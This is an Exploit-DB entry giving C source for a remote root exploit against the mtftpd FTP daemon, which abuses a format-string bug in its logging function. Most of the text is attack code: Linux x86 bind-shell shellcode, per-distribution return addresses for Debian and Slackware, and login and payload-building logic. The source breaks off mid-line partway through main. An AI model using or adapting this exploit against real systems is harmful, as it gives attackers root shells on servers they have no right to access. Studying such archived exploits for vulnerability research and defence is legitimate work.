Exploit-DB #25321
Description: YepYep MTFTPD 0.2/0.3 - Remote CWD Argument Format String
Type: remote
Platform: linux
Date: 2005-03-30
Author: gunzip

Exploit:
// source: https://www.securityfocus.com/bid/12947/info

mtftpd is reported prone to a remote format string vulnerability.

Reports indicate that this issue may be exploited by a remote authenticated attacker to execute arbitrary code in the context of the vulnerable service.

This vulnerability is reported to affect mtftpd versions up to an including version 0.0.3. 

/*
 * Remote root exploit against mtfptd daemon <= 0.0.3 ( wow! )
 * http://mtftpd.sourceforge.net/ <- ALPHA RELEASE !
 * There is a format bug in the log_do() function ( log.c )
 * patch: - syslog(prd, buf); + syslog(prd, "%s", buf);
 * Maybe there are other bugs in the code (lots of strcpy) but this was
 * the funniest.
 *
 * I've seen some ppl posting useless, code-ripped, not working, 
 * lame exploits for rare daemons or tools so I decided to write 
 * my own oneday, useless, lame exploit (with ripped code naturally)
 * to post it somewhere just for fun and "glory", that's the leeto way 
 * nowadays it seems.
 * 
 * ugh! I think I'm out of date because I didn't manage to write a banner 
 * longer than the code itself. And yes, I've got time to waste...
 * 
 * kisses 2 tankie - greets: sorbo, arcangelo, jestah
 * by gunzip@ircnet - mailto: <techieone@softhome.net>
*/

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <getopt.h>

int shell ( u_long ip );
void usage( char * a );
int die (char * error);
void handle_timeout( int s );
u_long res( char * fqhn );
int connect_to_host ( unsigned long ip , int port );
int answer( char * buf, unsigned int size, FILE * file );

char * mk_fmt_string(   unsigned int align,
                        unsigned int offset,
                        unsigned long retloc,
                        unsigned long retaddr,
                        int written );

#define ELITEBANNER 	"\nlinux/x86 mtftpd <= 0.0.3 remote root exploit by gunzip\n\n"
#define COMMAND		"unset HISTFILE; echo; uname -a; id;\n"
#define BUFSIZE		1024
#define NOP		0x41

static __inline__ void * _xmalloc(size_t size, char *function, int line) {
        void * temp;
        temp = (void *)malloc( size );
        if (!temp) {
                fprintf(stderr,"Malloc failed at [%s:%d]",function, line);
                exit(-1);
        }
	else { memset( temp, 0, size ); return( temp );
	}
}

#define xmalloc(a)      _xmalloc(a, __FUNCTION__, __LINE__)

char bind_code[]= /* ripped from www.netric.org, hi eSDee */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51\xb1\x01"
"\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51"
"\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51\x50\x8d"
"\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3\x01\x53\x52\x8d\x0c\x24\x31"
"\xc0\xb0\x66\x80\xc3\x03\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

struct targ 		{
        char * name             ;
        u_int stackpops         ;
        u_int align             ;
        unsigned char * code    ;
        u_long retloc           ;
        u_long retaddr          ;
	u_int written 		;
};
/* 
 * to get retloc objdump -R /usr/local/bin/mtftpd | grep write 
 * to get retaddr align and stackpops compile with -DDEBUG 
 * and play with gdb and syslog messages if you got time to waste... 
*/
struct targ tg[]= {
        { "Debian Woody 3.0 from sources (mtftpd-0.0.3.tar.gz)", 18, 0, 
		bind_code, 0x0804f324, 0xbffffba4, 36 },
	{ "Slackware 8.1 from sources (mtftpd-0.0.3.tar.gz)", 18, 0,
		bind_code, 0x0804f2e4, 0xbffff684, 36 },
	{ NULL, 0, 0, NULL, 0, 0 }
}; 

int main(int argc, char *argv[])
{
	u_long 	ip, brute = 0x0 ;
	u_short port = 21 ;

	char * user 	= "ftp";
	char * pass 	= "ftp@";
	char * victim 	= "127.0.0.1";

	int 	opt, len, sock, t = 0 ;

	char 	buf[ BUFSIZE ],
		nopcode[ BUFSIZE ];

	char * 	evil = (char *)xmalloc( 10000 );
	FILE * 	sockf = NULL ;

	fprintf( stderr, ELITEBANNER );
	if ( argc < 2 ) { usage( argv[0] ); exit(-1); }

        while ((opt = getopt(argc, argv, "b:u:p:w:g:P:n:a:r:hv:t:")) != EOF) {
                switch(opt)
                {
			case 'b': brute = strtoul(optarg,NULL,16); break;
			case 't': t = atoi(optarg); break;
			case 'v': victim = strdup( optarg ); break;
			case 'u': user = strdup( optarg ); break;
			case 'p': pass = strdup( optarg ); break;
                        case 'w': tg[t].written = atoi(optarg); break;
                        case 'g': tg[t].retloc = strtoul(optarg,NULL,16); break;
                        case 'P': port = atoi(optarg); break;
                        case 'n': tg[t].stackpops = atoi(optarg); break;
                        case 'a': tg[t].align = atoi(optarg); break ;
                        case 'r': tg[t].retaddr = strtoul(optarg,NULL,16); break;
                        case 'h':
                        default : usage( argv[0] ); exit( -1 ); break ;
                }
        }

	fprintf( stderr, "[+] Using target %s\n", tg[ t ].name ); 

	if ( (ip = res( victim )) == -1 )	
		die( "Bad hostname or ip." );
 
	do {
		if ( (sock = connect_to_host( ip, port )) > 0 ) {
			sockf = fdopen ( sock, "a+" );
			if ( fdopen == NULL ) die( "fdopen failed." );
		}
		else die( "Cannot connect to host." );

		fprintf( stderr, "[+] Trying to log in...\n");

        	answer( buf, BUFSIZE, sockf );
		fprintf( sockf, "USER %s\r\n", user);
        	answer( buf, BUFSIZE, sockf );
		fprintf( sockf, "PASS %s\r\n", pass);
        	answer( buf, BUFSIZE, sockf );

		if ( strstr( buf, "l